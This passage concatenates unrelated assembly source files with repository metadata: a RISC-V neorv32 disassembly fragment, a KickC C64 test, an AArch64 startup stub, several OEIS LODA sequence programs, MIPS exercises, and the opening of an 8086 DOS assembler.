a0,a0,-1768 # 1918 <symbols.0+0x2ac> 11e4: 86dff0ef jal ra,a50 <neorv32_uart0_printf> 11e8: 01c12083 lw ra,28(sp) 11ec: 00100513 li a0,1 11f0: 02010113 addi sp,sp,32 11f4: 00008067 ret 11f8: 00c12623 sw a2,12(sp) 11fc: f0cff0ef jal ra,908 <neorv32_uart0_available> 1200: 00c12603 lw a2,12(sp) 1204: fc0508e3 beqz a0,11d4 <neorv32_rte_check_isa+0x20> 1208: fe1ff06f j 11e8 <neorv32_rte_check_isa+0x34> 120c: 00000513 li a0,0 1210: 00008067 ret 00001214 <neorv32_trng_available>: 1214: fe802503 lw a0,-24(zero) # ffffffe8 <__ctr0_io_space_begin+0x1e8> 1218: 01855513 srli a0,a0,0x18 121c: 00157513 andi a0,a0,1 1220: 00008067 ret 00001224 <neorv32_trng_enable>: 1224: fa002c23 sw zero,-72(zero) # ffffffb8 <__ctr0_io_space_begin+0x1b8> 1228: 10000793 li a5,256 122c: 00000013 nop 1230: fff78793 addi a5,a5,-1 1234: fe079ce3 bnez a5,122c <neorv32_trng_enable+0x8> 1238: 400007b7 lui a5,0x40000 123c: faf02c23 sw a5,-72(zero) # ffffffb8 <__ctr0_io_space_begin+0x1b8> 1240: 10000793 li a5,256 1244: 00000013 nop 1248: fff78793 addi a5,a5,-1 # 3fffffff <__crt0_copy_data_src_begin+0x3fffe64f> 124c: fe079ce3 bnez a5,1244 <neorv32_trng_enable+0x20> 1250: 00008067 ret 00001254 <neorv32_trng_get>: 1254: fb802783 lw a5,-72(zero) # ffffffb8 <__ctr0_io_space_begin+0x1b8> 1258: 00050713 mv a4,a0 125c: 0007cc63 bltz a5,1274 <neorv32_trng_get+0x20> 1260: fb802783 lw a5,-72(zero) # ffffffb8 <__ctr0_io_space_begin+0x1b8> 1264: 0007c863 bltz a5,1274 <neorv32_trng_get+0x20> 1268: fb802783 lw a5,-72(zero) # ffffffb8 <__ctr0_io_space_begin+0x1b8> 126c: fff00513 li a0,-1 1270: 0007d663 bgez a5,127c <neorv32_trng_get+0x28> 1274: 00f70023 sb a5,0(a4) 1278: 00000513 li a0,0 127c: 00008067 ret 00001280 <__mulsi3>: 1280: 00050613 mv a2,a0 1284: 00000513 li a0,0 1288: 0015f693 andi a3,a1,1 128c: 00068463 beqz a3,1294 <__mulsi3+0x14> 1290: 00c50533 add a0,a0,a2 1294: 0015d593 srli a1,a1,0x1 1298: 00161613 slli a2,a2,0x1 129c: fe0596e3 bnez a1,1288 <__mulsi3+0x8> 12a0: 00008067 ret 000012a4 <__muldi3>: 12a4: 00050313 mv t1,a0 12a8: ff010113 addi sp,sp,-16 12ac: 00060513 mv a0,a2 12b0: 00068893 mv a7,a3 12b4: 00112623 sw ra,12(sp) 12b8: 00030613 mv a2,t1 12bc: 00050693 mv a3,a0 12c0: 00000713 li a4,0 12c4: 00000793 li a5,0 12c8: 00000813 li a6,0 12cc: 0016fe13 andi t3,a3,1 12d0: 00171e93 slli t4,a4,0x1 12d4: 000e0c63 beqz t3,12ec <__muldi3+0x48> 12d8: 01060e33 add t3,a2,a6 12dc: 010e3833 sltu a6,t3,a6 12e0: 00e787b3 add a5,a5,a4 12e4: 00f807b3 add a5,a6,a5 12e8: 000e0813 mv a6,t3 12ec: 01f65713 srli a4,a2,0x1f 12f0: 0016d693 srli a3,a3,0x1 12f4: 00eee733 or a4,t4,a4 12f8: 00161613 slli a2,a2,0x1 12fc: fc0698e3 bnez a3,12cc <__muldi3+0x28> 1300: 00058663 beqz a1,130c <__muldi3+0x68> 1304: f7dff0ef jal ra,1280 <__mulsi3> 1308: 00a787b3 add a5,a5,a0 130c: 00088a63 beqz a7,1320 <__muldi3+0x7c> 1310: 00030513 mv a0,t1 1314: 00088593 mv a1,a7 1318: f69ff0ef jal ra,1280 <__mulsi3> 131c: 00f507b3 add a5,a0,a5 1320: 00c12083 lw ra,12(sp) 1324: 00080513 mv a0,a6 1328: 00078593 mv a1,a5 132c: 01010113 addi sp,sp,16 1330: 00008067 ret 00001334 <__divsi3>: 1334: 06054063 bltz a0,1394 <__umodsi3+0x10> 1338: 0605c663 bltz a1,13a4 <__umodsi3+0x20> 0000133c <__udivsi3>: 133c: 00058613 mv a2,a1 1340: 00050593 mv a1,a0 1344: fff00513 li a0,-1 1348: 02060c63 beqz a2,1380 <__udivsi3+0x44> 134c: 00100693 li a3,1 1350: 00b67a63 bgeu a2,a1,1364 <__udivsi3+0x28> 1354: 00c05863 blez a2,1364 <__udivsi3+0x28> 1358: 00161613 slli a2,a2,0x1 135c: 00169693 slli a3,a3,0x1 1360: feb66ae3 bltu a2,a1,1354 <__udivsi3+0x18> 1364: 00000513 li a0,0 1368: 00c5e663 bltu a1,a2,1374 <__udivsi3+0x38> 136c: 40c585b3 sub a1,a1,a2 1370: 00d56533 or a0,a0,a3 1374: 0016d693 srli a3,a3,0x1 1378: 00165613 srli a2,a2,0x1 137c: fe0696e3 bnez a3,1368 <__udivsi3+0x2c> 1380: 00008067 ret 00001384 <__umodsi3>: 1384: 00008293 mv t0,ra 1388: fb5ff0ef jal ra,133c <__udivsi3> 138c: 00058513 mv a0,a1 1390: 00028067 jr t0 1394: 40a00533 neg a0,a0 1398: 00b04863 bgtz a1,13a8 <__umodsi3+0x24> 139c: 40b005b3 neg a1,a1 13a0: f9dff06f j 133c <__udivsi3> 13a4: 40b005b3 neg a1,a1 13a8: 00008293 mv t0,ra 13ac: f91ff0ef jal ra,133c <__udivsi3> 13b0: 40a00533 neg a0,a0 13b4: 00028067 jr t0 000013b8 <__modsi3>: 13b8: 00008293 mv t0,ra 13bc: 0005ca63 bltz a1,13d0 <__modsi3+0x18> 13c0: 00054c63 bltz a0,13d8 <__modsi3+0x20> 13c4: f79ff0ef jal ra,133c <__udivsi3> 13c8: 00058513 mv a0,a1 13cc: 00028067 jr t0 13d0: 40b005b3 neg a1,a1 13d4: fe0558e3 bgez a0,13c4 <__modsi3+0xc> 13d8: 40a00533 neg a0,a0 13dc: f61ff0ef jal ra,133c <__udivsi3> 13e0: 40b00533 neg a0,a1 13e4: 00028067 jr t0 000013e8 <memset>: 13e8: 00f00313 li t1,15 13ec: 00050713 mv a4,a0 13f0: 02c37e63 bgeu t1,a2,142c <memset+0x44> 13f4: 00f77793 andi a5,a4,15 13f8: 0a079063 bnez a5,1498 <memset+0xb0> 13fc: 08059263 bnez a1,1480 <memset+0x98> 1400: ff067693 andi a3,a2,-16 1404: 00f67613 andi a2,a2,15 1408: 00e686b3 add a3,a3,a4 140c: 00b72023 sw a1,0(a4) 1410: 00b72223 sw a1,4(a4) 1414: 00b72423 sw a1,8(a4) 1418: 00b72623 sw a1,12(a4) 141c: 01070713 addi a4,a4,16 1420: fed766e3 bltu a4,a3,140c <memset+0x24> 1424: 00061463 bnez a2,142c <memset+0x44> 1428: 00008067 ret 142c: 40c306b3 sub a3,t1,a2 1430: 00269693 slli a3,a3,0x2 1434: 00000297 auipc t0,0x0 1438: 005686b3 add a3,a3,t0 143c: 00c68067 jr 12(a3) 1440: 00b70723 sb a1,14(a4) 1444: 00b706a3 sb a1,13(a4) 1448: 00b70623 sb a1,12(a4) 144c: 00b705a3 sb a1,11(a4) 1450: 00b70523 sb a1,10(a4) 1454: 00b704a3 sb a1,9(a4) 1458: 00b70423 sb a1,8(a4) 145c: 00b703a3 sb a1,7(a4) 1460: 00b70323 sb a1,6(a4) 1464: 00b702a3 sb a1,5(a4) 1468: 00b70223 sb a1,4(a4) 146c: 00b701a3 sb a1,3(a4) 1470: 00b70123 sb a1,2(a4) 1474: 00b700a3 sb a1,1(a4) 1478: 00b70023 sb a1,0(a4) 147c: 00008067 ret 1480: 0ff5f593 andi a1,a1,255 1484: 00859693 slli a3,a1,0x8 1488: 00d5e5b3 or a1,a1,a3 148c: 01059693 slli a3,a1,0x10 1490: 00d5e5b3 or a1,a1,a3 1494: f6dff06f j 1400 <memset+0x18> 1498: 00279693 slli a3,a5,0x2 149c: 00000297 auipc t0,0x0 14a0: 005686b3 add a3,a3,t0 14a4: 00008293 mv t0,ra 14a8: fa0680e7 jalr -96(a3) 14ac: 00028093 mv ra,t0 14b0: ff078793 addi a5,a5,-16 14b4: 40f70733 sub a4,a4,a5 14b8: 00f60633 add a2,a2,a5 14bc: f6c378e3 bgeu t1,a2,142c <memset+0x44> 14c0: f3dff06f j 13fc <memset+0x14>
46.110574
94
0.537079
ea5f03a6057a933bb8e38a641b7410d05f15acdc
819
asm
Assembly
src/test/ref/bool-not-operator-1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/bool-not-operator-1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/bool-not-operator-1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Test the boolean NOT operator // Bool not operator used in ternary operator // Fails due to "Number integer type not resolved to fixed size integer type" // https://gitlab.com/camelot/kickc/issues/199 // Commodore 64 PRG executable file .file [name="bool-not-operator-1.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .segment Code main: { .label screen = $400 ldx #0 __b1: // i&1 txa and #1 // !b ? 1 : 0 cmp #1 bne __b2 lda #0 jmp __b3 __b2: // !b ? 1 : 0 lda #1 __b3: // screen[i] = c sta screen,x // for(char i: 0..7) inx cpx #8 bne __b1 // } rts }
21
77
0.615385
f646686a5702e9aac85f8b6035cf804ae25053bd
300
asm
Assembly
startup.asm
tecty/toyOS
a5d5cd14abe7f18b13ec76517c663fe4c8a9bc0b
[ "MIT" ]
null
null
null
startup.asm
tecty/toyOS
a5d5cd14abe7f18b13ec76517c663fe4c8a9bc0b
[ "MIT" ]
null
null
null
startup.asm
tecty/toyOS
a5d5cd14abe7f18b13ec76517c663fe4c8a9bc0b
[ "MIT" ]
null
null
null
.extern stack_top .global _start _start: // reset control registers // we are on el1 LDR X1, =0x30C50838 MSR SCTLR_EL1, X1 ldr x30, =stack_top mov sp, x30 bl main hang: b hang .equ _psci_system_off, 0x84000008 .global system_off system_off: ldr x0, =_psci_system_off hvc #0
13.636364
33
0.703333
4fb5bf8fdd7a783e43a21e9595f65957b7c2f850
612
asm
Assembly
programs/oeis/135/A135620.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/135/A135620.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/135/A135620.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A135620: a(n) = 2^(prime(n) - 2). ; 1,2,8,32,512,2048,32768,131072,2097152,134217728,536870912,34359738368,549755813888,2199023255552,35184372088832,2251799813685248,144115188075855872,576460752303423488,36893488147419103232,590295810358705651712,2361183241434822606848,151115727451828646838272,2417851639229258349412352,154742504910672534362390528,39614081257132168796771975168,633825300114114700748351602688,2535301200456458802993406410752,40564819207303340847894502572032,162259276829213363391578010288128,2596148429267413814265248164610048 seq $0,40976 ; a(n) = prime(n) - 2. mov $1,2 pow $1,$0 mov $0,$1
76.5
509
0.862745
4f486893accaf00e5199d0d842a0094e74f5df0e
481
asm
Assembly
session_07/02-maxmmin/max.asm
DigiOhhh/LabArchitettura2-2017-2018
da34b9a75ab2945ac70d5cbf69395d0db5172f6f
[ "MIT" ]
1
2019-03-06T13:26:10.000Z
2019-03-06T13:26:10.000Z
session_07/02-maxmmin/max.asm
DigiOhhh/LabArchitettura2-2017-2018
da34b9a75ab2945ac70d5cbf69395d0db5172f6f
[ "MIT" ]
null
null
null
session_07/02-maxmmin/max.asm
DigiOhhh/LabArchitettura2-2017-2018
da34b9a75ab2945ac70d5cbf69395d0db5172f6f
[ "MIT" ]
1
2019-03-06T13:25:28.000Z
2019-03-06T13:25:28.000Z
# INPUT # $a0: base address array # $a1: dimensione array # $a2: passo # OUTPUT # $v0: massimo tra i numeri considerati .text .globl max max: mul $t0, $a2, 4 #t0=offset tra el. (passo) move $t1, $a0 #t1=indirizzo prossimo el. lw $t2, 0($t1) #t2=el. considerato j updatemax loop: slt $t4, $zero, $a1 beq $t4, 0, end lw $t2, 0($t1) slt $t3, $v0, $t2 bne $t3, 1, continue updatemax: move $v0, $t2 continue: sub $a1, $a1, $a2 add $t1, $t1, $t0 j loop end: jr $ra
16.586207
44
0.611227
12be193321832d34a13e59b70cd9dfb9808ca26a
467
asm
Assembly
programs/oeis/209/A209628.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/209/A209628.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/209/A209628.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A209628: Number of squarefree numbers < n that are not prime. ; 1,1,1,1,1,2,2,2,2,3,3,3,3,4,5,5,5,5,5,5,6,7,7,7,7,8,8,8,8,9,9,9,10,11,12,12,12,13,14,14,14,15,15,15,15,16,16,16,16,16,17,17,17,17,18,18,19,20,20,20,20,21,21,21,22,23,23,23,24,25,25,25,25,26 mov $2,$0 add $2,1 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,226177 ; a(n) = mu(n)*d(n), where mu(n) = A008683 and d(n) = A000005. add $0,3 gcd $0,$0 div $0,4 add $1,$0 lpe mov $0,$1
25.944444
191
0.578158
6e25f882117608ee5ddf9eca734592ee5ec9bb34
378
asm
Assembly
programs/oeis/328/A328890.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/328/A328890.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/328/A328890.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A328890: Number of acyclic edge covers of the complete bipartite graph K_{n,2}. ; 1,6,18,46,110,254,574,1278,2814,6142,13310,28670,61438,131070,278526,589822,1245182,2621438,5505022,11534334,24117246,50331646,104857598,218103806,452984830,939524094,1946157054,4026531838,8321499134,17179869182,35433480190,73014444030 mov $1,$0 add $1,3 mov $2,2 pow $2,$0 mul $1,$2 sub $1,2
37.8
237
0.785714
5f36df28b4135dcae7ed8409974fc315d434703b
535
asm
Assembly
programs/oeis/082/A082643.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/082/A082643.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/082/A082643.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A082643: a(n) = ceiling(n*(n+1/2)/2). ; 0,1,3,6,9,14,20,27,34,43,53,64,75,88,102,117,132,149,167,186,205,226,248,271,294,319,345,372,399,428,458,489,520,553,587,622,657,694,732,771,810,851,893,936,979,1024,1070,1117,1164,1213,1263,1314,1365,1418,1472,1527,1582,1639,1697,1756,1815,1876,1938,2001,2064,2129,2195,2262,2329,2398,2468,2539,2610,2683,2757,2832,2907,2984,3062,3141,3220,3301,3383,3466,3549,3634,3720,3807,3894,3983,4073,4164,4255,4348,4442,4537,4632,4729,4827,4926 mov $2,$0 pow $0,2 mul $0,2 add $2,3 add $0,$2 div $0,4
53.5
437
0.723364
a847b279c63f3170deee3f7c4f32be05f07ef2df
699
asm
Assembly
oeis/333/A333991.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/333/A333991.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/333/A333991.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A333991: a(n) = Sum_{k=0..n} (-n)^k * binomial(2*n,2*k). ; Submitted by Christian Krause ; 1,0,-7,64,-527,3776,-7199,-712704,28545857,-881543168,25615822601,-733594255360,20859188600881,-580152163418112,15048530008948913,-311489672222081024,713562283940993281,511135051171610230784,-48010258775057340355559,3439412411849176925601792,-225582738598174372090499599,14287793594759744654493614080,-892798617012330503809464487807,55544942675575678038695286407168,-3450545745824481476692664137952447,213714581018468204949697378570469376,-13119297271454084960681543683470094039 add $0,1 mov $2,1 mov $3,$0 sub $3,1 mul $3,4 lpb $3 add $1,$2 sub $2,$1 mul $2,$0 add $2,$1 sub $3,2 lpe mov $0,$2
38.833333
480
0.796853
cdf8cff9abf8315222ac0fac232cf28ff4e4c396
1,439
asm
Assembly
programs/oeis/188/A188554.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/188/A188554.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/188/A188554.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A188554: Number of 3Xn binary arrays without the pattern 0 1 diagonally, vertically, antidiagonally or horizontally ; 4,7,12,20,32,49,72,102,140,187,244,312,392,485,592,714,852,1007,1180,1372,1584,1817,2072,2350,2652,2979,3332,3712,4120,4557,5024,5522,6052,6615,7212,7844,8512,9217,9960,10742,11564,12427,13332,14280,15272,16309,17392,18522,19700,20927,22204,23532,24912,26345,27832,29374,30972,32627,34340,36112,37944,39837,41792,43810,45892,48039,50252,52532,54880,57297,59784,62342,64972,67675,70452,73304,76232,79237,82320,85482,88724,92047,95452,98940,102512,106169,109912,113742,117660,121667,125764,129952,134232,138605,143072,147634,152292,157047,161900,166852,171904,177057,182312,187670,193132,198699,204372,210152,216040,222037,228144,234362,240692,247135,253692,260364,267152,274057,281080,288222,295484,302867,310372,318000,325752,333629,341632,349762,358020,366407,374924,383572,392352,401265,410312,419494,428812,438267,447860,457592,467464,477477,487632,497930,508372,518959,529692,540572,551600,562777,574104,585582,597212,608995,620932,633024,645272,657677,670240,682962,695844,708887,722092,735460,748992,762689,776552,790582,804780,819147,833684,848392,863272,878325,893552,908954,924532,940287,956220,972332,988624,1005097,1021752,1038590,1055612,1072819,1090212,1107792,1125560,1143517,1161664,1180002,1198532,1217255,1236172,1255284,1274592,1294097,1313800,1333702 add $0,2 mov $1,$0 bin $1,3 add $1,$0 add $1,$0
159.888889
1,271
0.828353
43279b24a173fe0a3e7ed674f1973c97fef9f0a9
1,678
asm
Assembly
examples/mips2.asm
kubasikora/ARKO-MIPS-Projekt
eff6abafc64c1011c52b2db370f2f6fee97c9c75
[ "MIT" ]
null
null
null
examples/mips2.asm
kubasikora/ARKO-MIPS-Projekt
eff6abafc64c1011c52b2db370f2f6fee97c9c75
[ "MIT" ]
null
null
null
examples/mips2.asm
kubasikora/ARKO-MIPS-Projekt
eff6abafc64c1011c52b2db370f2f6fee97c9c75
[ "MIT" ]
null
null
null
######################################################### # # # Wypisywanie najdluzszego ciagu cyfr # # Autor: Jakub Sikora # # # ######################################################### .data prompt: .asciiz "Enter string: \n" error: .asciiz "No sequence found" buf: .space 100 .text .globl main main: #print prompt li $v0, 4 la $a0, prompt syscall #get string li $v0, 8 la $a0, buf li $a1, 100 syscall #interesting range of charachters li $t0, '0' li $t1, '9' la $t2, buf #get buf adress lb $t3, ($t2) #load byte from buffer beqz $t3, end #if 0, go to end li $t4, 0 #lenght of actual sequence lm li $t5, 0 #address of actual sequence pm li $t6, 0 #longest sequence li $t7, 1000 #address of longest sequence, 1000 means no sequence was found loop: #check condition blt $t3, $t0, nan bgt $t3, $t1, nan #is a number bnez $t4, addnum la $t5, ($t2) #store address of first number in sequence addnum: addiu $t4, $t4, 1 #increace actual sequence length b next nan: #not a number ble $t4, $t6, reset move $t6, $t4 move $t7, $t5 reset: li $t4, 0 next: #finishing the loop and branching addiu $t2, $t2, 1 lb $t3, ($t2) bnez $t3, loop end: #check if any sequence was found beq $t7, 1000, endwitherror #write 0 after longest sequence addu $t4, $t7, $t6 li $a0, 0x00 sb $a0, ($t4) #print result li $v0, 4 la $a0, ($t7) syscall #exit li $v0, 10 syscall endwitherror: #print error li $v0, 4 la $a0, error syscall #exit li $v0, 10 syscall
18.43956
76
0.536949
40163d5b22aaf637a7b2c957c61f58a413d0d639
128
asm
Assembly
Src/Ant32/t1.asm
geoffthorpe/ant-architecture
d85952e3050c352d5d715d9749171a335e6768f7
[ "BSD-3-Clause" ]
null
null
null
Src/Ant32/t1.asm
geoffthorpe/ant-architecture
d85952e3050c352d5d715d9749171a335e6768f7
[ "BSD-3-Clause" ]
null
null
null
Src/Ant32/t1.asm
geoffthorpe/ant-architecture
d85952e3050c352d5d715d9749171a335e6768f7
[ "BSD-3-Clause" ]
1
2020-07-15T04:09:05.000Z
2020-07-15T04:09:05.000Z
lc ra, 1 lc sp, 2 lc sp, 3 lc a0, 10 lc a1, 11 lc r2, 0 _data_: .ascii "\000\001\002\003" .ascii "abcdefg" .word 10
9.142857
26
0.570313
2e8f4d8fb148d9cdd8c41c83066377141cd7aaed
49,740
asm
Assembly
tests/tsasm-0000.asm
mras0/sasm
342f57570e79b2aa1c42a9064aaea4d198577be2
[ "MIT" ]
26
2019-08-13T19:54:42.000Z
2022-03-11T16:58:31.000Z
tests/tsasm-0000.asm
mras0/sasm
342f57570e79b2aa1c42a9064aaea4d198577be2
[ "MIT" ]
null
null
null
tests/tsasm-0000.asm
mras0/sasm
342f57570e79b2aa1c42a9064aaea4d198577be2
[ "MIT" ]
2
2019-08-20T10:23:56.000Z
2020-09-24T20:08:00.000Z
;; Calling convention (unless otherwise mentioned): ;; ;; Callee-saved: DS, BP, SI, DI ;; Scratch: AX, BX, CX, DX, ES ;; Return value: (DX:)AX or BX for pointer values, ;; boolean values via the carry flag ;; ; TODO: Investigate whether stack potentially overlaps with allocations ;; SS:SP is intialized at the top of the 64K started at CS:0 TOKEN_MAX equ 16 ; Maximum length of token (adjust token buffer if increasing) INST_MAX equ 5 ; Maximum length of directive/instruction OUTPUT_MAX equ 0x2000 ; Maximum output size LABEL_MAX equ 200 ; Maximum number of labels FIXUP_MAX equ 400 ; Maximum number of fixups EQU_MAX equ 100 ; Maximum number of equavates DISPATCH_SIZE equ 8 ; Size of DispatchListEntry LABEL_SIZE equ 22 ; Size of Label (TOKEN_MAX+2+2*sizeof(WORD)) LABEL_ADDR equ 18 ; Offset of label address LABEL_FIXUP equ 20 ; Offset of label fixup FIXUP_SIZE equ 4 ; Size of Fixup FIXUP_ADDR equ 0 ; Offset of fixup address (into the output buffer) FIXUP_LINK equ 2 ; Offset of fixup link pointer (INVALID_ADDR terminates list) EQU_SIZE equ 20 ; Size of equate (TOKEN_MAX+2+sizeof(WORD)) EQU_VAL equ 18 ; Offset of value in equate HEX_ADJUST equ 7 ; 'A'-'0'-10 QUOTE_CHAR equ 39 ; '\'' INVALID_ADDR equ 0xFFFF ; Value of Operand(L)Type: ; Less than 0xC0: Memory access with ModRM = OperandType OP_REG equ 0xC0 OP_LIT equ 0xC1 ; Register indices (OperandValue when OperandType = OP_REG) ; Lower 3 bits matches index, bits 4&5 give class (r8, r16, sreg) R_AL equ 0 R_CL equ 1 R_DL equ 2 R_BL equ 3 R_AH equ 4 R_CH equ 5 R_DH equ 6 R_BH equ 7 R_AX equ 8 R_CX equ 9 R_DX equ 10 R_BX equ 11 R_SP equ 12 R_BP equ 13 R_SI equ 14 R_DI equ 15 R_ES equ 16 R_CS equ 17 R_SS equ 18 R_DS equ 19 R_INVALID equ 21 ; Condition Codes CC_O equ 0x0 CC_NO equ 0x1 CC_C equ 0x2 CC_NC equ 0x3 CC_Z equ 0x4 CC_NZ equ 0x5 CC_NA equ 0x6 CC_A equ 0x7 CC_S equ 0x8 CC_NS equ 0x9 CC_PE equ 0xa CC_PO equ 0xb CC_L equ 0xc CC_NL equ 0xd CC_NG equ 0xe CC_G equ 0xf org 0x100 ProgramEntry: call Init call MainLoop call Fini xor al, al jmp Exit Init: ; First free paragraph is at the end of the program ; COM files get the largest available block mov ax, ProgramEnd add ax, 15 shr ax, 4 mov bx, cs add ax, bx mov [FirstFreeSeg], ax mov ax, OUTPUT_MAX mov bx, 1 call Malloc mov [OutputSeg], ax mov ax, LABEL_MAX mov bx, LABEL_SIZE call Malloc mov [LabelSeg], ax mov ax, FIXUP_MAX mov bx, FIXUP_SIZE call Malloc mov [FixupSeg], ax ; Initial fixup list mov es, ax xor bx, bx mov cx, FIXUP_MAX .FixupInit: mov ax, bx add ax, FIXUP_SIZE mov [es:bx+FIXUP_LINK], ax mov bx, ax dec cx jnz .FixupInit sub bx, FIXUP_SIZE mov word [es:bx+FIXUP_LINK], INVALID_ADDR ; Terminate free list mov ax, EQU_MAX mov bx, EQU_SIZE call Malloc mov [EquSeg], ax call ParserInit ret Fini: call ParserFini call WriteOutput ret NotImplemented: mov bx, MsgErrNotImpl ; Fall through ; Exit and print error message in BX Error: ; Error in line ... push bx call PutCrLf mov bx, MsgErrInLine call PutString mov ax, [CurrentLine] call PutDec mov al, ':' call PutChar mov al, ' ' call PutChar pop bx call PutString call PutCrLf ; Print curren token cmp byte [TokenLen], 0 jz .NoTok mov bx, MsgCurToken call PutString mov bx, Token call PutString mov al, '"' call PutChar call PutCrLf .NoTok: mov al, 0xff ; Fall through ; Exit with error code in AL Exit: mov ah, 0x4c int 0x21 MainLoop: ; Update line counter mov ax, [NumNewLines] add [CurrentLine], ax mov word [NumNewLines], 0 ; Grab next token call GetToken cmp byte [TokenLen], 0 je .Done ; Dispatch call Dispatch jmp MainLoop .Done: cmp byte [CurrentChar], 0 je .Ret mov bx, MsgErrNotDone call Error .Ret: ret Dispatch: push si mov al, ':' call TryConsume jc .NotLabel call DefineLabel jmp .Done .NotLabel: mov si, DispatchList ; Is the token too short/long to be a valid instruction/directive? mov al, [TokenLen] cmp al, 2 jb .CheckEQU cmp al, INST_MAX ja .CheckEQU ; Initialize fixup pointers mov ax, INVALID_ADDR mov [CurrentFixup], ax mov [CurrentLFixup], ax ; And ExplicitSize mov byte [ExplicitSize], 0 .Compare: xor bx, bx .CLoop: mov al, [Token+bx] mov ah, [si+bx] cmp al, ah jne .Next and al, al ; at NUL terminator? jz .Match inc bl cmp bl, INST_MAX jb .CLoop .Match: ; Found match, dispatch movzx ax, byte [si+INST_MAX] mov bx, [si+INST_MAX+1] call bx cmp word [CurrentFixup], INVALID_ADDR jne .FixupUnhandled cmp word [CurrentLFixup], INVALID_ADDR jne .FixupUnhandled jmp .Done .FixupUnhandled: mov bx, MsgErrFixupUnh jmp Error .Next: add si, DISPATCH_SIZE cmp si, DispatchListEnd jb .Compare .CheckEQU: mov al, 'E' call TryGetU jc .Invalid mov al, 'Q' call TryGetU jc .Invalid mov al, 'U' call TryGetU jc .Invalid call SkipWS call MakeEqu .Done: pop si ret .Invalid: mov bx, MsgErrUnknInst call Error ; Allocate AX*BX bytes, returns segment in AX Malloc: ; Calculate how many paragraphs are needed mul bx and dx, dx jnz .Err ; Overflow add ax, 15 shr ax, 4 mov cx, [FirstFreeSeg] add ax, cx cmp ax, [2] ; (PSP) Segment of the first byte beyond the memory allocated to the program jae .Err ; Out of memory mov [FirstFreeSeg], ax mov ax, cx ret .Err: mov bx, MsgErrMem jmp Error ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Screen Output ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Write character in AL PutChar: mov dl, al mov ah, 2 int 0x21 ret ; Write CR and LF PutCrLf: mov al, 13 call PutChar mov al, 10 jmp PutChar ; Write ASCIIZ string in BX PutString: mov al, [bx] and al, al jz .Done push bx call PutChar pop bx inc bx jmp PutString .Done: ret ; Write decimal word in AX PutDec: push di mov di, sp ; Assumes DS=SS sub sp, 6 dec di mov byte [di], 0 mov bx, 10 .DecLoop: xor dx, dx div bx add dl, '0' dec di mov [di], dl and ax, ax jnz .DecLoop mov bx, di call PutString add sp, 6 pop di ret ; Write hexadecimal word in AX PutHex: push ax mov al, ah call PutHexByte pop ax ; Fall through ; Write hexadecimal byte in AX PutHexByte: push ax shr al, 4 call PutHexDigit pop ax ; Fall through ; Write hexadecimal digit in AL PutHexDigit: and al, 0x0f add al, '0' cmp al, '9' jbe PutChar add al, 